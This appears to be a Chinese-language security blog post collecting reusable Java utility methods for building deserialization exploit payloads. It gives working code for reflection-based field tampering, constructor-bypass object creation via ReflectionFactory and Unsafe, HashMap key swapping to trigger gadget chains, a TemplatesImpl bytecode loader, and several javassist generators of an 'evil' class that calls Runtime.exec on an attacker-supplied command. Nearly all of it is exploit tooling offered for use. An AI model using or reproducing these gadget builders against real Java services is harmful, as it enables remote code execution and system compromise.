快速查找反序列化中常用方法

本文最后更新于:18 天前

工具方法

序列化及反序列化

1
2
3
4
5
6
7
8
9
10
11
12
public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}

反射修改对象属性

1
2
3
4
5
6
7
8
9
10
11
12
public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field;
try {
field = c.getDeclaredField(fieldName);
}catch (Exception e){
field = c.getSuperclass().getDeclaredField(fieldName);
}

field.setAccessible(true);
field.set(object,value);
}

绕过构造器创建对象

1
2
3
4
5
6
7
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

绕过构造器创建对象(Unsafe)

1
2
3
4
5
6
public static <T> T createObjWithoutConstructor(Class<T> c) throws Exception{
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe theUnsafe = (Unsafe) unsafeField.get(null);
return (T) theUnsafe.allocateInstance(c);
}

绕过构造器创建对象(Unsafe jdk>=16)

1
2
3
4
5
6
7
8
9
public static <T> T createObjWithoutConstructor(Class<T> c) throws Exception{
Class<?> name = Class.forName("sun.misc.Unsafe");
Field unsafeField = name.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Method allocateInstanceMethod = name.getDeclaredMethod("allocateInstance", Class.class);
allocateInstanceMethod.setAccessible(true);

return (T) allocateInstanceMethod.invoke(unsafeField.get(null),c);
}

带构造器创建对象(可绕开单例模式)

1
2
3
4
5
6
7
public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}

修改HashMap的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static  void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry!= null){
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
Object keyValue = keyField.get(entry);
if (keyValue.equals(oldKey))
setField(entry,"key",newKey);
}
}
}

返回恶意对象

返回一个HashMap来接equals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static HashMap getXString(Object obj) throws Exception{
//obj传入待触发toString()的,可根据实际情况把XString换了,用来接任意equals

XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("zZ",obj);
hashMap1.put("yy",xstring);


hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);

HashMap hashMap = new HashMap();
hashMap.put("hashMap1", 1);
hashMap.put("hashMap2", 2);
setHashMapKey(hashMap,"hashMap1",hashMap1);//避免提前触发抛异常导致程序无法继续进行
setHashMapKey(hashMap,"hashMap2",hashMap2);

return hashMap;
}

TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Templates getTemplates() throws Exception{
byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"))};

TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,bytes);

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}

通过javassist构造恶意类加载字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
    //传入命令的base64
public static byte[] getEvilBytes(String cmd) throws Exception {

ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");

// 设置父类为 AbstractTranslet
CtClass abstractTransletClass = classPool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(abstractTransletClass);

// 编写恶意代码
String code = "{"
+ " namesArray = new String[]{\"hello\"};" // 初始化 namesArray
+ " java.lang.Runtime.getRuntime().exec(new String(java.util.Base64.getDecoder().decode(\"" + cmd + "\")));" // 执行命令
+ "}";

// 创建构造器
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("{ super(); " + code + " }"); // 调用父类构造器,并初始化字段
ctClass.addConstructor(constructor);

// 写入字节码到文件
ctClass.writeFile();

// 返回字节码
return ctClass.toBytecode();
}




public static byte[] getEvilBytes(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");
String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.insertBefore(code);
// ctClass.writeFile();
return ctClass.toBytecode();
}




public static byte[] getEvilBytes(String cmd) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");

// 设置父类为 AbstractTranslet
CtClass abstractTransletClass = classPool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(abstractTransletClass);

// 编写恶意代码
String code = "{"
+ " namesArray = new String[]{\"hello\"};" // 初始化 namesArray
+ " java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");" // 执行命令
+ "}";

// 创建构造器
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("{ super(); " + code + " }"); // 调用父类构造器,并初始化字段
ctClass.addConstructor(constructor);

// 写入字节码到文件
ctClass.writeFile();

// 返回字节码
return ctClass.toBytecode();
}